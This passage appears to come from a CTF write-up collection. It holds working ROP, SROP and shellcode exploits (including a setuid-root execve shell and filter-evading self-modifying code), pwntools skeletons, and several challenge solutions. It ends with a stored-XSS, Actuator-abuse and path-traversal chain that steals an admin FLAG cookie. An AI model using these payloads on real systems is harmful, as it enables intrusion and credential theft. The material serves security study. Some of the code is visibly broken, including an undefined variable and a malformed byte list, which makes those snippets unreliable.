  2. Compute libc.address = leaked_puts - libc.sym["puts"].
  3. Call system("/bin/sh") or execve gadgets.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elf = ELF("./chall")
libc = ELF("./libc.so.6")
rop = ROP(elf)

payload = flat(
b"A" * offset,
rop.find_gadget(["pop rdi", "ret"])[0],
elf.got["puts"],
elf.plt["puts"],
elf.sym["main"],
)

# receive leak, then second stage
libc.address = leak - libc.sym["puts"]
binsh = next(libc.search(b"/bin/sh\x00"))
payload = flat(
b"A" * offset,
ret, # optional stack alignment
pop_rdi,
binsh,
libc.sym["system"],
)

Method 5: ret2plt / ret2csu

  • ret2plt: call imported functions through PLT when the binary has useful PLT entries and controlled arguments.
  • ret2csu: use gadgets inside __libc_csu_init to populate RDI, RSI, RDX when simple pop rdi; ret / pop rsi; ret gadgets are missing.

Typical ret2csu idea:

1
2
gadget 1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
gadget 2: mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]

Set rbx = 0, rbp = 1, r12 = function_pointer_table, r13 = arg1, r14 = arg2, r15 = arg3.

Method 6: SROP

Sigreturn-oriented programming uses a fake rt_sigreturn frame to set all registers. Useful when gadgets are scarce but you can execute syscall with RAX = 15 (rt_sigreturn).

1
2
3
4
5
6
7
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = flat(b"A" * offset, pop_rax, 15, syscall_ret, bytes(frame))

Seccomp Notes

If shellcode or ROP mysteriously dies on execve, check seccomp filters.

1
2
seccomp-tools dump ./chall
strace ./chall

Common bypasses:

  • If execve is blocked but file syscalls are allowed: open/read/write or sendfile the flag.
  • If open is blocked but openat allowed: use openat(AT_FDCWD, "/flag", 0).
  • If only read, write, exit, sigreturn are allowed: consider SROP or staged ROP.

Shellcoding

Toolchain

1
2
3
4
5
6
7
8
# Compile shellcode (static, no libc)
gcc -nostdlib -static shellcode.s -o shellcode-elf

# Extract raw shellcode bytes
objcopy --dump-section .text=shellcode-raw shellcode-elf

# Compile with RWX .text (for SMC)
gcc -Wl,-N --static -nostdlib -o test test.s

Forbidden Bytes

Avoid bytes that terminate or split input strings:

Byte Name Trigger
0x00 null byte strcpy, printf (Terminator)
0x0a newline fgets, scanf (End of Input)
0x20 space scanf (Separator)

Null Byte Avoidance Techniques

Bad Good Reason
mov RAX, 0 xor EAX, EAX Avoids long null byte sequence
mov RAX, 5 xor EAX, EAX; mov AL, 5 Avoids 0x00 padding in 64-bit mov
mov RAX, 10 push 9; pop RAX; inc RAX Avoids 0x0a (newline)

Other size/filter tricks:

  • Use 32-bit register writes (eax, edi, esi) to avoid REX.W (0x48) and zero-extend into 64-bit registers.
  • Use push imm; pop reg for small constants.
  • Use cdq to zero/sign-fill RDX from EAX when EAX is positive.
  • Store strings on the stack in little-endian order.
  • XOR-encode constants to avoid bad bytes, then decode in-place.
  • If shellcode is called through a register, inspect live registers before execution; they may point to the shellcode mapping and save bytes with lea.

NOP Sled & Stack Shellcode

NOP sled (\x90) tolerates approximate jump targets. It is useful when stack addresses shift due to environment differences.

1
2
3
4
nop_sled = b"\x90" * 512
shellcode = asm(shellcraft.cat("/flag"))
payload = nop_sled + shellcode
payload = payload.ljust(offset, b"A") + p64(approx_stack_addr)

Avoid stack self-destruction: after ret, RSP points just above the return address. Shellcode using push may overwrite nearby bytes below RSP. Place shellcode sufficiently before/after the overwritten return path or use a large sled.

Staged Shellcode

When input length is too small, first-stage shellcode reads a larger second stage into RWX memory or stack, then jumps there.

1
2
3
4
5
6
7
; read(0, rsp, 0x400); jmp rsp
xor eax, eax
xor edi, edi
mov rsi, rsp
mov dx, 0x400
syscall
jmp rsp

Self-Modifying Code (SMC)

Runtime modification of the .text segment to bypass static filters. Requires the segment to be writable (-Wl,-N).

1
2
3
4
; Bypassing 'syscall' (0x0f05) filter
inc BYTE PTR [RIP+1]
.byte 0x0f
.byte 0x04 ; Runtime: 0x04 -> 0x05 (creating 0x0f05)

If the first page is made RX after input, place the patching code and patch targets on a later still-writable page, or use a first-stage jump over the protected region.

CET: SHSTK & IBT

Intel CET adds hardware CFI:

  • SHSTK (Shadow Stack): return addresses are mirrored on a protected shadow stack. ret compares the normal stack return address against the shadow one. A classic saved-RIP overwrite can crash even when canary is disabled.
  • IBT (Indirect Branch Tracking): indirect call/jmp targets must start with endbr64 (f3 0f 1e fa).
  • notrack prefix: notrack jmp rax can bypass IBT checks for that branch, so a corrupted function pointer/register may jump to shellcode or arbitrary code even when IBT is enabled.

When SHSTK blocks ROP, look for:

  • Non-return indirect branches: jmp rax, call rax, switch-table dispatch.
  • notrack jumps in compiler-generated switch code.
  • Writable function pointers, vtables, callback tables, jump-table indexes.
  • Logic bugs that reach win without hijacking ret.

Reference Shellcodes

x64 root shell (No REX.W/0x48)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Avoids \x48 (REX.W prefix)
.global _start
_start:
.intel_syntax noprefix

/* 0. Set UID to root (setuid(0)) */
xor edi, edi /* rdi = 0 (root UID) -> 31 ff */
push 105 /* syscall 105 (0x69) = setuid */
pop rax /* 6a 69 58 */
syscall

/* 1. Prepare null bytes and allocate stack space */
xor esi, esi
push rsi /* 8-byte null terminator */
push rsi /* space for /bin//sh */
push rsp
pop rdi /* push rsp (0x54) + pop rdi (0x5f) avoids mov rdi, rsp (0x48) */

/* 2. Construct /bin//sh on the stack (using 32-bit ops to avoid REX.W) */
/* 0x6e69622f = "nib/", 0x68732f2f = "hs//" (little-endian) */
mov dword ptr [rdi], 0x6e69622f
mov dword ptr [rdi+4], 0x68732f2f

/* 3. Set execve syscall number */
push 59
pop rax /* avoids mov rax, 59 */

/* 4. Clear edx (envp) and execute */
xor edx, edx
syscall

x64 execve("/bin/sh") (22-23 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
; Standard 22-23 byte execve("/bin/sh")

; BITS 64

xor rsi, rsi ; Clear RSI (argv = NULL)
push rsi ; Push NULL terminator for string
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" in little-endian
push rbx ; Push string to stack
push rsp ; Push address of string
pop rdi ; RDI = address of "/bin//sh" (filename)
mov al, 0x3b ; RAX = 59 (execve syscall number)
cdq ; RDX = 0 (envp = NULL) if RAX is positive
syscall ; Execute

x64 cat /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.section .shellcode,"awx"
.global _start
_start:
.intel_syntax noprefix
/* push b'/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
/* call open('rsp', 'O_RDONLY', 'rdx') */
push 2
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40 /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

x64 cat /flag (No REX.W/0x48)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
.global _start
_start:
.intel_syntax noprefix

/* 1. OPEN: open("/flag", O_RDONLY) -> Syscall 2 */
xor esi, esi /* rsi = 0 (O_RDONLY) -> 31 f6 */
push rsi /* null terminator */
push rsp
pop rdi /* rdi points to stack top (avoids mov rdi, rsp) */

/* Construct "/flag" using 32-bit and 8-bit writes */
/* "/fla" = 0x616c662f */
mov dword ptr [rdi], 0x616c662f /* c7 07 2f 66 6c 61 */
/* "g" = 0x67 */
mov byte ptr [rdi+4], 0x67 /* c6 47 04 67 */

push 2
pop rax /* open syscall number */
syscall /* fd returned in rax */

/* 2. READ: read(fd, buffer, size) -> Syscall 0 */
xchg eax, edi /* rdi = fd, clears rax (0x97) */

push rsp
pop rsi /* rsi = rsp (buffer) */

mov dl, 100 /* rdx = 100 (size) using 8-bit register */
xor eax, eax /* read syscall number */
syscall

/* 3. WRITE: write(stdout, buffer, size) -> Syscall 1 */
xchg eax, edx /* rdx = bytes read (0x92) */

push 1
pop rdi /* rdi = 1 (stdout) */

push 1
pop rax /* write syscall number */
syscall

x64 cat /flag (No 'syscall' opcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.section .shellcode,"awx"
.global _start
_start:
.intel_syntax noprefix
/* push b'/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
/* call open('rsp', 'O_RDONLY', 'rdx') */
push 2
pop rax
mov rdi, rsp
xor esi, esi
inc byte ptr [rip + patch_target1 + 1]
patch_target1:
.byte 0x0f
.byte 0x04 /* Patched to 0x0f05 at runtime */
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40
pop rax
push 1
pop rdi
cdq
inc byte ptr [rip + patch_target2 + 1]
patch_target2:
.byte 0x0f
.byte 0x04

Common Terms

Term Description
ROP Return-Oriented Programming. Chaining "gadgets" ending in ret.
JOP/COP Jump/Call-Oriented Programming. Chains indirect jmp/call dispatch instead of ret.
ret2win Overwrite control flow to a hidden/success function in the binary.
ret2libc Redirecting execution to a libc function instead of shellcode.
ret2plt Calling a PLT stub in the binary, often to leak or invoke imported functions.
ret2csu Using __libc_csu_init gadgets to set up multi-register function calls.
SROP Sigreturn-Oriented Programming. Fake a signal frame to control registers.
PLT/GOT Procedure Linkage Table & Global Offset Table. Used for resolving external library function addresses.
OOB Out-of-bounds. Accessing memory outside the intended range of an array or buffer.
UAF Use-after-free. Reusing a pointer after its backing allocation has been freed.
SMC Self-modifying code. Code patches its own bytes at runtime.
CET Intel Control-flow Enforcement Technology: mainly SHSTK and IBT.
endbr64 Valid landing instruction required by IBT for indirect branch targets.

Exploit Skeletons

Local/Remote Toggle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./chall", checksec=False)
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([elf.path] + argv, gdbscript="""
set disassembly-flavor intel
break *main
continue
""", *a, **kw)
if args.REMOTE:
return remote("host", 1337)
return process([elf.path] + argv, *a, **kw)

io = start(env={})

Run with:

1
2
3
python solve.py
python solve.py GDB
python solve.py REMOTE

Leak Parsing

1
2
3
4
5
io.recvuntil(b"leak: ")
leak = int(io.recvline().strip(), 16)

raw = io.recvn(6)
addr = u64(raw.ljust(8, b"\x00"))

Flat Payloads

1
2
3
4
5
6
7
8
payload = flat(
b"A" * offset,
canary,
b"B" * 8,
pop_rdi,
next(libc.search(b"/bin/sh\x00")),
libc.sym["system"],
)

Python: Integer to Byte Conversion

In Python, converting an integer (0-255) to a byte string requires careful handling of the bytes() constructor:

  • Incorrect: bytes(guess)
    • If guess = 5, this creates a null-filled byte string of length 5: b'\x00\x00\x00\x00\x00'.
  • Correct: bytes([guess])
    • Passing a list (iterable) treats the integer as the actual byte value.
    • If guess = 65, bytes([65]) results in b'A' (0x41).

movaps

movaps (Move Aligned Packed Single-Precision Floating-Point Values) 是 x86/x64 架构下的一条 SIMD(单指令多数据流)指令,主要用于高效的数据传输。

  • SIMD 向量化处理与高吞吐率: 现代 CPU 为了优化数据处理效率,会利用 XMM 寄存器执行向量化操作。movaps 能够单次吞吐 128 位(16 字节)的数据,极大地提升了内存带宽利用率。该指令被广泛应用于音视频编解码、图形渲染及密码学算法等密集型矩阵运算场景。
  • 内存对齐 (Memory Alignment) 与缓存行 (Cache Line) 机制: movaps 是一条强制要求内存对齐的指令,要求操作数的内存首地址必须是 16 的倍数(即 16 字节对齐)。现代 CPU 的 L1 数据缓存行通常为 64 字节。强制 16 字节对齐保证了这 16 字节的数据块绝对不会跨越两个不同的缓存行(Cache Line Boundary)。这使得 CPU 内部的内存控制器只需发起单次寻址操作即可完成数据读取,避免了跨缓存行读取带来的性能惩罚。

x64 ROP 链中的栈对齐

在 64 位 Linux PWN(漏洞利用)中,通过 ROP 链调用 system()printf() 等标准库函数时,常会遭遇程序崩溃。其根本原因在于破坏了系统调用约定的栈对齐规范。

  • System V AMD64 ABI 栈对齐规范: 在执行 call 指令跳转至目标函数前,rsp % 16 == 0call 会压入 8 字节返回地址,所以进入被调用函数第一条指令时通常是 rsp % 16 == 8。标准函数序言再执行 push rbp 后恢复到 rsp % 16 == 0
  • 触发 #GP 异常的根本原因: 当攻击者通过缓冲区溢出劫持控制流,并利用 ROP 链直接跳转至 system("/bin/sh") 时,往往忽略了对当前 rsp 状态的维护。如果此时 rsp 存在 8 字节的偏移错位,当执行到 Glibc 内部(如 do_systemvfprintf)时,由于这些高频函数在 -O3 优化级别下广泛使用 movaps 指令来操作局部变量,movaps 遇到未对齐的栈地址会直接触发硬件级别的 General Protection Fault (#GP 异常),最终由操作系统内核向进程发送 SIGSEGV 信号导致崩溃。
  • Exploit 解决方案:ret Gadget 栈平衡: 在 ROP 链中,在目标函数(如 system)的地址之前,预先插入一个极简的 ret Gadget(机器码 0xC3)。ret 指令的语义等价于 pop rip,它会将栈顶的 8 字节数据弹出。这 8 字节的指针位移恰好起到了栈指针补偿的作用,将错位的 rsp 重新调整至 16 字节对齐状态,从而规避 movaps 导致的硬件异常。

Quick fix:

1
2
ret = rop.find_gadget(["ret"])[0]
payload = flat(b"A" * offset, ret, pop_rdi, binsh, system)

32 位 (x86) 对齐

在 32 位漏洞利用中,因 movaps 导致的崩溃概率显著降低,其架构与编译层面的原因如下:

  • 调用约定 (Calling Convention) 的差异: 32 位环境(如 cdecl)主要依赖栈传参,每次 push 参数会导致栈指针 esp 发生 4 字节的位移。这种高频的 4 字节扰动使得 16 字节对齐极其难以在整个调用链中维持。
  • 编译器的指令选择策略: 鉴于 32 位下维护栈对齐的成本过高,编译器(尤其是旧版 GCC)通常会采取降级策略:默认生成容错率更高的 movups 指令(Move Unaligned,允许非对齐读取),或者直接放弃生成 SSE 向量化指令,转而使用标量指令来处理普通 C 代码。
  • 32 位的栈平滑方案: 如果在 32 位环境下确需解决 16 字节对齐导致的崩溃,不能像 64 位那样简单粗暴地填充一个 ret 指令。攻击者需要精确计算当前 esp 距离目标对齐状态的偏移量(4 的倍数),并寻找相应数量的 pop <reg>(例如 pop eax; ret)Gadget 来进行微调,直到满足 esp % 16 == 0 的条件。

我们从建筑大师工作室截获了一个信号。看起来有人在和一个定制的乐高控制器通信,但我们捕捉到的只有这些原始数据。你能拼凑出信息吗?

Hint 1 This kind of communication is widely used, especially for older I/O devices and connectors. 这种通信方式应用广泛,尤其适用于老式 I/O 设备和连接器。

Hint 2 Every message starts with a falling edge. Have you tried PulseView? 每条信息都以下降沿开始。您试过 PulseView 吗?

Hint 3 UART, 8N1. You just need to figure out the baud rate. UART,8N1。你只需计算出波特率。

Initial Analysis

This challenge involves decoding a UART signal captured as raw logic levels in a CSV file. The provided code.csv contains two columns: timestamp and logic_level.

  • Initial Inspection: The logic level is mostly 1 (Idle high), which is characteristic of UART.
  • Pulse Width Analysis: By calculating the time between transitions, we find that the minimum pulse duration is approximately 2.996e-05 seconds.
  • Baud Rate Calculation: \[\text{Baud Rate} = \frac{1}{\text{Bit Duration}} \approx \frac{1}{2.996 \times 10^{-5}} \approx 33377 \text{ baud}\] However, looking at the sample counts, the transitions align perfectly with the sample intervals, suggesting the data was sampled exactly at the bit rate (1 sample per bit).

Solution

Based on Hint 3 (UART, 8N1): - Start Bit: A falling edge (1 to 0). - Data Bits: 8 bits following the start bit (Least Significant Bit first). - Stop Bit: 1 bit of high level (1).

By implementing a Python script to parse these transitions, we can extract the byte stream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pandas as pd

df = pd.read_csv('code.csv')
levels = df['logic_level'].values
i = 0
decoded = []

while i < len(levels):
if levels[i] == 1: # Wait for start bit
i += 1
continue

if i + 9 >= len(levels): break

# 8 data bits (LSB first)
byte_val = 0
for bit_idx in range(8):
if levels[i + 1 + bit_idx]:
byte_val |= (1 << bit_idx)
decoded.append(byte_val)
i += 10 # Move past start + 8 data + 1 stop bit

The decoded output reveals a Linux kernel boot log. Searching through the log, a specific line stands out: [ 0.037500] secretflag: 554d4153537b553452375f31355f3768335f623335372c5f72316768373f7d

Converting this Hex string to ASCII: 55 4d 41 53 53 7b 55 34 52 37 5f 31 35 5f 37 68 33 5f 62 33 35 37 2c 5f 72 31 67 68 37 3f 7d \(\rightarrow\) UMASS{U4R7_15_7h3_b357,_r1gh7?}

Flag

UMASS{U4R7_15_7h3_b357,_r1gh7?}

Batman's new state-of-the-art AI agent has deleted all of the source code to the Batcave license verification program! There's an old debug version lying around, but that thing has been hit by more cosmic rays than Superman!

蝙蝠侠的新型先进人工智能代理删除了蝙蝠洞许可证验证程序的所有源代码!虽然还有一个旧的调试版本,但那东西被宇宙射线击中的次数比超人还多!

Hint 1 BatAI estimates there are 3 bugs (BatAI 估计有 3 个错误)

Hint 2 Rotation rotation rotation! (旋转 旋转)

Hint 3 Something about that SBOX seems off... (SBOX 似乎有些不对劲...)

Initial Analysis

The "Batcave Bitflips" challenge involves a binary that performs a custom hashing algorithm on a user-provided license key and compares the result to a hardcoded 32-byte hash. If the hashes match, the binary uses the key to "decrypt" the flag. However, as the name and hints suggest, the binary is riddled with three "bit-flip" bugs that corrupt its logic.

1. Analysis of main

The main function (0x169f) follows a standard license check pattern: 1. Prompts for a 33-byte license key. 2. Calls hash(input, buffer) to generate a 256-bit (32-byte) digest. 3. Calls verify(buffer), which compares the digest to a global array named EXPECTED (at 0x4040). 4. If successful, calls decrypt_flag(buffer) and prints the FLAG global (at 0x4060).

2. Identifying the 3 Bugs

Bug 1: The Decryption Logic (decrypt_flag) The decrypt_flag function (0x12a6) is intended to decrypt the flag using the successful hash. Standard encryption/decryption uses XOR, but the decompiled code shows: - Code: FLAG[i] |= *(_BYTE *)(i % 32 + a1); - Disassembly (0x12ec): 09 c1 (OR ECX, EAX) The bit-flip changed an XOR (31 c1) into an OR (09 c1).

Bug 2: The Rotation Logic (rotate) In a standard 8-bit rotation, the sum of the left and right shifts must be 8. - Decompilation: *result = (*result >> 6) | (8 * *result); - Analysis: 8 * *result is equivalent to *result << 3. A shift of 3 combined with a shift of 6 is not a valid rotation. - The Flip: The SIB byte in the lea instruction at 0x1275 is 0xc5 (Scale 8). If the bit-flip occurred here, changing 0xc5 to 0x85 (Scale 4), the instruction becomes x << 2. Combined with shr 6, this forms a proper 2-bit rotation.

Bug 3: The SBOX Data (SBOX) The substitute function uses a global SBOX table (0x4080). Analysis reveals: - Duplicate: The value 0x43 appears at both index 24 and index 92. - Missing: The value 0x44 is entirely missing from the table. This single-bit difference (0x43 vs 0x44) in the data segment is the third bug.

Solution

While we could patch the binary to fix the bugs and attempt to reverse the custom hash, there is a much faster path. The main function logic implies that if we provide the "correct" license key, the resulting hash will be equal to the EXPECTED bytes. Since the decrypt_flag function (if fixed) would simply XOR the FLAG bytes with the successful hash, we can perform this operation manually.

Target Hash (EXPECTED @ 0x4040): 3b 54 75 1a 24 06 af 05 77 80 47 c5 e4 83 d3 48 cb 87 30 de 1a 91 45 ab 15 c7 9b 22 04 02 2b ee

Encrypted Flag (FLAG @ 0x4060): 6e 19 34 49 77 7d f0 5a 07 b4 33 a6 8c e6 e6 17 fb e9 6f ae 2e e5 26 c3 70 e3 c4 7d 27 7f 2b 00

1
2
3
4
expected = [0x3b, 0x54, 0x75, 0x1a, 0x24, 0x06, 0xaf, 0x05, 0x77, 0x80, 0x47, 0xc5, 0xe4, 0x83, 0xd3, 0x48, 0xcb, 0x87, 0x30, 0xde, 0x1a, 0x91, 0x45, 0xab, 0x15, 0xc7, 0x9b, 0x22, 0x04, 0x02, 0x2b, 0xee]
flag_enc = [0x6e, 0x19, 0x34, 0x49, 0x77, 0x7d, 0xf0, 0x5a, 0x07, 0xb4, 0x33, 0xa6, 0x8c, 0xe6, 0xe6, 0x17, 0xfb, 0xe9, 0x6f, 0xae, 2e e5, 0x26, 0xc3, 0x70, 0xe3, 0xc4, 0x7d, 0x27, 0x7f, 0x2b, 0x00]

print("".join(chr(e ^ f) for e, f in zip(expected, flag_enc)))

Flag

UMASS{p4tche5_0n_p4tche$#}

where are your little ninja-nerds?

Initial Analysis

The challenge provided a single image file: challenge.png. Initial investigation focused on gathering basic information about the file and its metadata.

  • File Type: Standard PNG image (640x360).
  • Metadata: exiftool showed no unusual comments or hidden fields.
  • Strings: Running strings did not reveal the flag in plain text, suggesting it was encoded or hidden within the pixel data.
  • Embedded Files: binwalk did not detect any appended files (like zips or other images).

Given that the file appeared to be a clean PNG with no obvious trailing data or metadata tricks, I suspected LSB (Least Significant Bit) Steganography. This technique hides data by slightly modifying the last bit of color values (Red, Green, or Blue), which is invisible to the human eye.

Solution

To extract the hidden data, we can either use automated tools or a custom script to parse the LSBs from each color plane.

1. Automated Approach

Using zsteg, we can quickly scan for common LSB patterns:

1
zsteg -E "b1,b,lsb,xy" challenge.png | strings | grep "UMASS{"

2. Manual Extraction Script

Alternatively, using the Pillow library in Python allows for precise extraction from specific color channels.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import PIL.Image

def extract_lsb(image_path):
img = PIL.Image.open(image_path)
pixels = img.load()
width, height = img.size

# Check Red (0), Green (1), and Blue (2) planes
for plane in range(3):
lsb_data = bytearray()
current_byte = 0
bit_count = 0
for y in range(height):
for x in range(width):
pixel = pixels[x, y]
bit = pixel[plane] & 1 # Extract LSB
current_byte = (current_byte << 1) | bit
bit_count += 1
if bit_count == 8:
lsb_data.append(current_byte)
current_byte = 0
bit_count = 0

if b"UMASS{" in lsb_data:
print(f"Found flag in Plane {plane}!")
# Logic to print the found string...

Running the extraction against the color planes reveals that the flag is hidden in the Blue channel (Plane 2).

Flag

UMASS{perfectly-hidden-ready-to-strike}

I managed to get my hands on a design files from LEGO HQ. Apparently it is the design for the new Smart Brick v2. I want to analyze it but I don't have the hardware to do so. Can you help me figure out what it does?? 我设法从乐高总部拿到了一份设计文件。我想对它进行分析,但我没有分析所需的硬件。你能帮我弄明白它是做什么的吗?

Hint 1: I think I have seen that file format before on an popular open-source eCAD software but I can't remember which one... (我好像在一款流行的开源 eCAD 软件上见过这种文件格式,但记不清是哪一款了) Hint 2: Hmmm... there seem to be 7 inputs, I wonder what encoding uses only 7 bits? (嗯......似乎有 7 个输入,我想知道什么编码只使用 7 位?) Hint 3: I found a great python library to interact with this file programmatically: kiutils (我发现了一个很棒的 Python 库,可以通过编程与该文件交互:kiutils)

Initial Analysis

The challenge provides a KiCad PCB design file (smart-brick-v2.kicad_pcb) and asks to analyze it to discover its function. Hints suggest that the board uses a 7-bit encoding (ASCII) and points toward the kiutils Python library for programmatic analysis.

Opening the file or inspecting the raw text reveals it is a KiCad 9.0 board file. Key features identified:

  • Inputs: 7 nets labeled /IN0 through /IN6. This confirms the hint about 7-bit encoding (ASCII).
  • Outputs: 19 LEDs (D1D19) driven by 19 MOSFETs (Q1Q19).
  • Logic: A large array of 74LS series discrete logic gates (AND, NAND, OR, NOR, XOR, NOT).

The circuit is a combinational logic "decoder" where each LED represents a character in the flag. An LED will light up if the 7-bit input matches a specific character programmed into the logic gates for that stage.

Solution

To solve this without physical hardware or a manual schematic trace, we can automate the logic extraction and simulation using Python.

1. Technical Approach

Step 1: Parsing the PCB Using the kiutils library, we extract all footprints, their values (e.g., 74LS00), and the nets connected to their pins.

Step 2: Mapping Logic Gates Each 74LS chip contains multiple gates. For example: - 74LS00: Quad 2-input NAND. - 74LS08: Quad 2-input AND. - 74LS86: Quad 2-input XOR. - 74LS21: Dual 4-input AND.

We build a dependency graph where each net's value is determined by the boolean operation of its input nets.

Step 3: Simulation Since there are only 128 possible values for a 7-bit input (ASCII 0–127), we can brute-force the inputs for each of the 19 output stages. For each character c from 0 to 127, we propagate the values through the logic gate graph and check which MOSFET gates (Q1Q19) are pulled HIGH.

2. Execution

The simulation reveals that each LED corresponds to exactly one ASCII character:

LED Hex Char LED Hex Char
D1 0x55 U D11 0x68 h
D2 0x4D M D12 0x33 3
D3 0x41 A D13 0x5F _
D4 0x53 S D14 0x47 G
D5 0x53 S D15 0x34 4
D6 0x7B { D16 0x74 t
D7 0x49 I D17 0x33 3
D8 0x6E n D18 0x73 s
D9 0x5F _ D19 0x7D }
D10 0x54 T

3. Simulation Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import re
from kiutils.board import Board

def get_logic():
board = Board.from_file('smart-brick-v2.kicad_pcb')

# Map components by reference
components = {}
for fp in board.footprints:
ref = fp.properties.get('Reference', '')
val = fp.properties.get('Value', '')

pins = {}
for pad in fp.pads:
if pad.net:
pins[pad.number] = pad.net.name

components[ref] = {
'value': val,
'pins': pins
}

# Define gate logic
# (inputs, output)
gate_defs = {
'74LS00': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # NAND
'74LS02': [(('2', '3'), '1'), (('5', '6'), '4'), (('8', '9'), '10'), (('11', '12'), '13')], # NOR
'74LS04': [(('1',), '2'), (('3',), '4'), (('5',), '6'), (('9',), '8'), (('11',), '10'), (('13',), '12')], # NOT
'74LS08': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # AND
'74LS20': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # NAND 4
'74LS21': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # AND 4
'74LS27': [(('1', '2', '13'), '12'), (('3', '4', '5'), '6'), (('9', '10', '11'), '8')], # NOR 3
'74LS32': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # OR
'74LS86': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # XOR
}

# Build the net dependency graph
net_logic = {}

for ref, comp in components.items():
val = comp['value']
if val in gate_defs:
for inputs, output in gate_defs[val]:
if output in comp['pins']:
out_net = comp['pins'][output]
in_nets = [comp['pins'][i] for i in inputs if i in comp['pins']]
if len(in_nets) == len(inputs):
op = val[4:] # 00, 02, etc.
net_logic[out_net] = (op, in_nets)

# MOSFET gates driving LEDs
led_nets = []
for i in range(1, 20):
ref = f'Q{i}'
if ref in components:
if '1' in components[ref]['pins']:
led_nets.append(components[ref]['pins']['1'])

# Simulation function
def simulate(inputs_bits):
vals = {f'/IN{i}': inputs_bits[i] for i in range(7)}
vals['GND'] = False
vals['+5V'] = True

memo = {}
def get_val(net):
if net in vals: return vals[net]
if net in memo: return memo[net]
if net not in net_logic: return False

op, ins = net_logic[net]
in_vals = [get_val(i) for i in ins]

if op == '00': return not (in_vals[0] and in_vals[1])
elif op == '02': return not (in_vals[0] or in_vals[1])
elif op == '04': return not in_vals[0]
elif op == '08': return in_vals[0] and in_vals[1]
elif op == '20': return not all(in_vals)
elif op == '21': return all(in_vals)
elif op == '27': return not any(in_vals)
elif op == '32': return any(in_vals)
elif op == '86': return in_vals[0] ^ in_vals[1]
else: return False

memo[net] = res
return res

return [get_val(ln) for ln in led_nets]

# Brute force 7-bit ASCII
for i in range(19):
print(f"LED {i+1}: ", end='')
for code in range(128):
bits = [(code >> j) & 1 == 1 for j in range(7)]
outputs = simulate(bits)
if outputs[i]:
print(f"'{chr(code)}' (0x{code:02x})", end=' ')
print()

get_logic()

Flag

UMASS{In_Th3_G4t3s}

The Block City Times is here to inform you!

Initial Analysis

"The Block City Times" is a complex web application built with Spring Boot, involving multiple internal services (editorial, report-runner) and a Puppeteer-based bot. The challenge requires chaining several vulnerabilities to leak a sensitive FLAG cookie from an internal diagnostic service.

Solution

The attack follows a multi-stage exploit chain:

  1. Arbitrary File Upload & XSS: The /submit endpoint allows uploading "story" files. Although it checks the Content-Type, this is easily bypassed. Files are saved with their original extension and served via /files/{filename}. By uploading an .html file with Content-Type: text/plain, we can achieve stored XSS.

  2. Administrative Bot Triggering: The editorial service automatically reviews every submission by visiting the uploaded file as an administrator. This allows our XSS payload to execute with administrative privileges.

  3. Actuator Abuse: The application exposes Spring Boot Actuator endpoints. Via XSS, the editorial bot can be forced to modify application properties at runtime:

    • Disable production enforcement: POST /actuator/env with app.enforce-production=false.
    • Switch to dev mode: POST /admin/switch?config=dev.
  4. SSRF & Cookie Leakage: The report-runner service logs in as an admin, sets a FLAG cookie, and visits a user-specified API endpoint. While it checks if the endpoint starts with /api/, this can be bypassed with path traversal (e.g., /api/../files/exploit.html).

Exploit Payload (exploit.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script>
(async () => {
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const filename = location.pathname.split("/").pop();

// STAGE 2: If visited by report-runner, leak the flag to article tags
if (document.cookie.includes("FLAG=")) {
await fetch("/api/tags/article/1", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify([document.cookie]),
});
return;
}

// STAGE 1: If visited by editorial bot, reconfigure the app and trigger report
